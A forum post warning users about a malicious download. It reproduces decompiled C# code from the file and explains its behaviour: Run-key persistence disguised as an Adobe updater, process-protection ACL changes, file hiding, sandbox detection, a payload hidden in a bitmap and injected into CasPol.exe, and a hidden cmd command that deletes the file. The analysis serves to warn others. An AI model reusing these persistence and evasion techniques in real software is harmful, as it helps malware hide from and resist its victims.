Here's the topic.If you look at the virus scan link, it's actually a monetized link. Don't click it. It will give him money. You don't want that.
I downloaded the file, and mozilla firefox quickly told me it was malicious. I opened up the file in ILSpy. Here are some snippets from the code:
private class Persistence
{
private delegate bool g(IntPtr a, int b, [Out] byte[] c, uint d, out uint e);
private delegate bool s(IntPtr a, int b, [In] byte[] c);
private static string reverseStr(string inputStr)
{
char[] array = inputStr.ToCharArray();
Array.Reverse(array);
return new string(array);
}
private static void AddToStartup()
{
try
{
File.WriteAllText(
Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"forgetyounod32.vbs"),
string.Format(
"CreateObject(\"WScript.Shell\").RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\{0}\",\"{1}\",\"REG_SZ\"",
"Adobe Updater",
Process.GetCurrentProcess().MainModule.FileName)
);
using (Process process = Process.Start(new ProcessStartInfo(Program.Persistence.reverseStr("exe.dmc"))
{
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardInput = true,
CreateNoWindow = true
}))
{
process.EnableRaisingEvents = true;
process.StandardInput.WriteLine(string.Format("cd \"{0}\"", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)));
process.StandardInput.WriteLine("forgetyounod32.vbs");
process.StandardInput.WriteLine("exit");
process.WaitForExit();
}
}
catch
{
}
}
public static void checkStartup()
{
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
if ((string)registryKey.GetValue("Adobe Updater", "(byte)113EFBEEF") != Process.GetCurrentProcess().MainModule.FileName)
{
Program.Persistence.AddToStartup();
}
registryKey.Close();
}
catch
{
}
}
public static void ProtectProcess(object[] processData)
{
try
{
IntPtr a = (IntPtr)processData[0];
Program.api api = (Program.api)processData[1];
byte[] array = new byte[0];
Program.Persistence.g g = api.create<Program.Persistence.g>("advapi32", "GetKernelObjectSecurity");
uint num;
g(a, 4, array, 0u, out num);
if (num >= 0u && (ulong)num <= 32767uL)
{
if (g(a, 4, array = new byte[num], num, out num))
{
RawSecurityDescriptor rawSecurityDescriptor = new RawSecurityDescriptor(array, 0);
rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 2035711, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null));
byte[] array2 = new byte[rawSecurityDescriptor.BinaryLength];
rawSecurityDescriptor.GetBinaryForm(array2, 0);
api.create<Program.Persistence.s>("advapi32", "SetKernelObjectSecurity")(a, 4, array2);
}
}
}
catch
{
}
}
public static void HideFile()
{
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Program.Persistence.reverseStr("decnavdA\\rerolpxE\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS"), true);
registryKey.SetValue(Program.Persistence.reverseStr("neddiH"), "0", RegistryValueKind.DWord);
registryKey.Close();
File.SetAttributes(Process.GetCurrentProcess().Modules[0].FileName, FileAttributes.Hidden);
}
catch
{
}
}
}
private static void Main(string[] args)
{
ProcessModuleCollection modules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule processModule in modules)
{
if (processModule.ModuleName.ToLower().Contains("sbiedll.dll"))
{
Environment.Exit(8);
}
}
bool flag = true;
new Mutex(true, "YagbNWREZNEj", ref flag);
if (!flag)
{
Environment.Exit(Environment.ExitCode);
}
int num = args.Length;
object[] array = new object[]
{
Assembly.GetExecutingAssembly()
};
array[num] = ((Assembly)array[num]).GetManifestResourceStream(((Assembly)array[num]).GetManifestResourceNames()[num]);
array[num] = new Bitmap((Stream)array[num]);
array[num] = Program.reverse((Bitmap)array[num], int.Parse("13359"));
array[num] = Program.crypt((byte[])array[num]);
array[num] = Program.decompress((byte[])array[num]);
array = Program.inj.run((byte[])array[num], null, Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Microsoft.NET\\Framework\\v2.0.50727").ToLower().Replace("\\system32", ""), "CasPol.exe"));
Program.Persistence.ProtectProcess(array);
Program.Persistence.checkStartup();
Program.Persistence.HideFile();
Process.Start(new ProcessStartInfo
{
CreateNoWindow = true,
Arguments = " /C ping 127.0.0.1 -n 3 > nul & del \"" + Process.GetCurrentProcess().Modules[num].FileName + "\"",
FileName = "cmd.exe",
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(Environment.ExitCode);
}Now if you don't know coding, I don't blame you. So, here's what it's doing.
First, it runs an executable that's in the form of a bitmap file that's saved within the exe itself. We have no idea what this executable does, and the only possible use of this form of obfuscation is to hide malicious code. It probably saves a copy of ui.
Second, it adds itself to the startup list in the form of an adobe product updater. That's probably how the exe hides itself. Every time you start up your computer and log on, that unknown program runs.
Third, it deletes itself.
Fourth, he loving monitized the virus scan link. Need I say more?
